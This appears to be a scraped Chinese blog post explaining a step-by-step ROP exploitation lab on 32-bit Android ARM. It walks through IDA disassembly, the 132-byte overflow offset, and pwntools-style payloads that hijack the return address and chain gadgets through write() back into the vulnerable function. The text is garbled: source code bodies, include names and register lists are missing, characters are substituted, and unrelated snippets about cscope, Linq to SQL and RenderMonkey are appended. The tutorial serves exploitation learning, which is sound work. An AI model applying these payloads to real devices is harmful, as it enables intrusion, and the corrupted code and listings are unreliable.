一步一步學ROP之Android ARM 32位篇

2021-07-10 01:39:35 字數 2168 閱讀 1542

0x00

本文僅解釋說明蒸公尺大神一步一步學rop之android arm 32位篇,讀者應先閱讀這篇文章,遇到問題再來看我這篇文章。

0x01

第乙個問題:payload = 'a'*132 + p32(callsystemaddr),這個132是怎麼來的?

要回答這個問題,我們需要把level6.c反彙編,level6.c**如下:

#include#include#includevoid callsystem()

void vulnerable_function()

int main(int argc, char** argv)

我們把使用ndk-build編譯後,生成的level6拖入ida pro中,找到vulnerable_function對應的反彙編**:

.text:00008564 sub_8564

.text:00008564 push

.text:00008566 movs r2, #0x80

.text:00008568 sub sp, sp, #0x84

.text:0000856a mov r1, sp

.text:0000856c lsls r2, r2, #1

.text:0000856e movs r0, #0

.text:00008570 bl sub_9414

.text:00008574 add sp, sp, #0x84

.text:00008576 pop

.text:00008576 ; end of function sub_8564

參考

arm子函式定義中的引數放入暫存器的規則,這個函式對應下面的函式**:

void vulnerable_function()
r0對應stdin_fileno,buf對應sp-0x84,r2對應256,引數已經存入的暫存器,接著bl sub_9414就是呼叫read函式。那麼132是怎麼來的呢,我們來看一張圖:

下乙個位址就是lr,也就是返回位址,覆蓋了這個位址,就會去執行對應的函式。

0x02

callsystemaddr = 0x00008554 + 1。這個位址是我們靜態分析時,callsystem在ida中的靜態位址。那麼當level在記憶體中載入並執行後,對應的虛擬位址還是這個麼?答案是,是這個位址。我們可以使用cat /proc/pid/maps來觀察對映表。如下圖:

payload = '\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul),這裡為什麼'\x00' * 0x84 + p32(ret_to_vul)就返回到vulnerable_function函式呢?

答案是gadget2是write函式,write函式執行時首先會把lr壓入堆疊,此時的lr還是指向了.text:00008574 add sp, sp, #0x84,因為只執行了bl sub_9414,下一行的位址被存入lr,一直沒有變化。

當write函式執行完畢後,pop ,繼續執行.text:00008574的**,也就是這兩句**.text:00008574 add sp, sp, #0x84 .text:00008576 pop ,這樣就理解了為什麼寫成'\x00' * 0x84 + p32(ret_to_vul)就可以返回到

vulnerable_function函式了。

一步一步學cscope

告之 1,我不喜歡寫部落格 因為感覺太浪費時間 2,部落格能記住自己某階段學過的東西,而這些東西可能會很快的忘卻 所以我以後要學著在部落格上浪費時間 前言 本文件記錄了我今天 2007 11 9 下午學習cscope的一點收穫,特收錄部落格以作分享。在學習cscope過程中查閱了大量的文件,但發現適...

一步一步學Linq to sql

一步一步學linq to sql 一 預備知識 一步一步學linq to sql 二 datacontext與實體 一步一步學linq to sql 三 增刪改 一步一步學linq to sql 四 查詢句法 一步一步學linq to sql 五 儲存過程 一步一步學linq to sql 六 特性...

一步一步學RenderMonkey

rendermonkey的基本使用方法 用rendermonkey 進行shader開發 一 用rendermonkey 進行shader開發 二 rendermonkey製作photoshop特效 前言 rendermonkey作為shader開發利器而為人所熟知,我們可以專心於shader的編寫...